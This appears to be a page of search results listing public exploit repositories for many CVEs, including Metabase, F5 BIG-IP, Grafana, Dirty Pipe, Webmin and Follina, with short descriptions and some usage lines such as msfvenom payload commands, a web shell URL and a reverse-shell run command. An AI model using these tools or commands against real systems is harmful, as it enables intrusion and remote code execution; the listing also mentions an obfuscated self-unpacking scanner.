386 matches found
CVE-2023-38646
CVE-2023-38646 Herramientas automáticas para el exploit RCE de Metabase conocido como CVE-2023-38646. Lee https://secry.me/explore/news/metabase-rce-cve-2023-38646/ para más información POC, Dork Cómo usar single.py python3 single.py --url=http://127.0.0.1:8080 --command="curl...
CVE-2018-15982_EXP
CVE-2018-15982EXP Uso msfvenom -p windows/exec cmd=notepad.exe -f raw 86.bin msfvenom -p windows/x64/exec cmd=notepad.exe -f raw 64.bin python CVE201815982.py -i 86.bin -I 64.bin salida exp.swf e index.html. Demo https://twitter.com/Evi1cg/status/1071284773169950721...
React2Shell
React2Shell - CVE-2025-55182 & CVE-2025-66478 Author: LAKSHMIKANTHAN K letchupkt Instagram: @letchupkt Version: 2.0.0 Obfuscated Date: 2025-12-07 🚀 Quick Start Run the Scanner python react2shell.py That's it! The scanner will: 1. Verify its integrity 2. Decompress the code 3. Execute normally All...
CVE-2021-24917
Exploit for CVE-2021-24917...
CVE-2022-1388-EXP
F5 BIG-IP RCE Check check： CVE-2022-1388 F5 BIG-IP RCE Detección Masiva exp： Nota: exp se basa en CVE-2021-22986 modificado!...
CVE-2016-5195
CVE-2016-5195 Versión en golang portada de dirtycow.c make setup && ./main...
AVideo3xploit
AVideo3xploit.go RCE exploit for AVideo root@kali: go get github.com/fatih/color root@kali: git clone https://github.com/ahussam/AVideo3xploit.git root@kali: cd AVideo3xploit root@kali:/AVideo3xploit go run AVideo3xploit.go http://target/avideo/ username password You should get a connection on yo...
Geoserver-CVE-2023-25157
Exploit de Inyección SQL en Geoserver Este año, se publicó un CVE para Geoserver con el ID CVE-2023-25157. Vi esta vulnerabilidad en uno de mis proyectos e intenté explotarla. Y aquí está, el exploit completo. En este repositorio https://github.com/0x2458bughunt/CVE-2023-25157 puedes usar el...
gotigate
gotigate Explotación de CVE-2022-40684 Instalación ▶ go install github.com/gustavorobertux/gotigate@latest Uso básico ▶ gotigate TARGET IP or youraddress.com "height":1, "interface":"", "csf-device":"", "table-visualization":"", "device-list-online":"", "device-list-telemetry":"",...
CVE-2018-20062
CVE-2018-20062 thinkphp 5.0.23 Aplicable a la vulnerabilidad ThinkPHP de vulhub Soy muy novato, lo iré optimizando poco a poco, por favor no me critiquen, expertos...
optionsbleed
optionsbleed CVE-2017-9798...
GrafXploit
Herramienta automatizada de explotación para Grafana CVE-2021-43798 Descripción general Este proyecto es una herramienta de explotación automatizada diseñada para escanear y extraer información sensible de instancias de Grafana comprometidas y vulnerables a CVE-2021-43798. La herramienta identifi...
CopyFail
Una implementación de CopyFail CVE-2026-31431 que no es chapuza. Trae tu propio payload si quieres...
CVE-2023-4166
CVE-2023-4166 fofa：通达 OA python3 CVE-2023-4165.py -h python3 CVE-2023-4165.py -u 单个url目标文件 python3 CVE-2023-4165.py -f url.txt Luego verifica la dirección...
CVE-Exploit-Research-Development
🔐 SSH Exploit Tool Educational Use Only 📌 Description This tool demonstrates exploitation of: CVE-2008-0166 CVE-2008-1657 It connects to vulnerable SSH services and provides: Persistent interactive shell Command execution logging Automatic PDF & DOCX report generation ⚙️ Features Persistent shell...
dpipe
dpipe Proof-of-concept exploit for the Dirty Pipe vulnerability CVE-2022-0847...
Webmin-CVE-2022-0824-Enhanced-Exploit
Webmin-CVE-2022-0824-Enhanced-Exploit !IMPORTANT Herramienta de explotación mejorada para Webmin CVE-2022-0824 - Soporta modo de ejecución de comandos y modo de shell inversa !IMPORTANT Una herramienta de explotación mejorada para la vulnerabilidad CVE-2022-0824 en Webmin, que soporta dos modos:...
CVE-2022-29465
CVE-2022-29464 go run main.go 请输入目标地址, 如 https://127.0.0.1 https://127.0.0.1:9443 https://127.0.0.1:9443/authenticationendpoint/cmd.jsp?cmd=id...
Follina-CVE-2022-30190-Sample
Follina-CVE-2022-30190-Sample-by-ethical-blue Herramienta educativa Follina Historial de versiones v1.1 — Ofuscación de payload JavaScript v1.0 — Versión inicial Características Generador de payload .RTF Servidor HTTP simple para el payload Consejos de mitigación Extractor de configuración Fácil ...